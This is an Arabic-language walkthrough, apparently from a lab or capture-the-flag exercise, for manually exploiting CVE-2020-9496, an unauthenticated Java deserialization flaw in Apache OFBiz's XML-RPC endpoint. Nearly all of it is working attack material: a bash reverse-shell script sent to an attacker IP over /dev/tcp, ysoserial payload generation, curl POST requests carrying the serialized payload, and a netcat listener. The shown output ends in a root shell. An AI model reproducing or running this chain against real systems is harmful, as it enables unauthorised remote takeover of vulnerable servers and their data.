
استغلال يدوي لـ CVE-2020-9496، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) عبر إلغاء تسلسل Java بدون مصادقة في Apache OFBiz XML-RPC، مع تعليمات خطوة بخطوة لتوليد الحمولة وصدفة عكسية.
نظرًا لأن الطلبين المرتبطين بـ xmlrpc في webtools (xmlrpc و ping) لا يستخدمان المصادقة، فهما عرضة لإلغاء التسلسل غير الآمن. تم الإبلاغ عن هذه المشكلة إلى فريق الأمان بواسطة Alvaro Munoz [email protected] من فريق GitHub Security Lab.
توجد هذه الثغرة بسبب مشاكل تسلسل Java عند معالجة الطلبات المرسلة إلى /webtools/control/xmlrpc. يمكن لمهاجم عن بُعد غير مصادق استغلال هذه الثغرة عن طريق إرسال طلب مُصمم خصيصًا. سيؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عشوائية.
المدونة الأصلية: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
لكي يعمل إثبات المفهوم (POC) هذا، نحتاج إلى وضع سكربت شل وتنفيذ/الوصول إلى هذا الملف عبر curl.
$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/1337 0>&1
$ sudo python3 -m http.server 80
$ ysoserial CommonsBeanutils1 "wget 10.10.x.x/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"
rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k -H 'Content-Type:application/xml'
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>' -k -H 'Content-Type:application/xml'
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.x.x - - [29/Apr/2021 12:57:07] "GET /shell.sh HTTP/1.1" 200 -
كما ترى، حصلنا على طلب على خادم HTTP الخاص بنا. تم تنزيل الملف إلى دليل /tmp باسم shell.sh. الآن لتنفيذ هذا الملف، قم بإنشاء حمولة مرة أخرى. لكن قبل ذلك، ابدأ مستمع NetCat.
$ nc -lvnp 1337
listening on [any] 1337 ...
$ ysoserial CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"
curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k -H 'Content-Type:application/xml'
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 60006
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@test:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)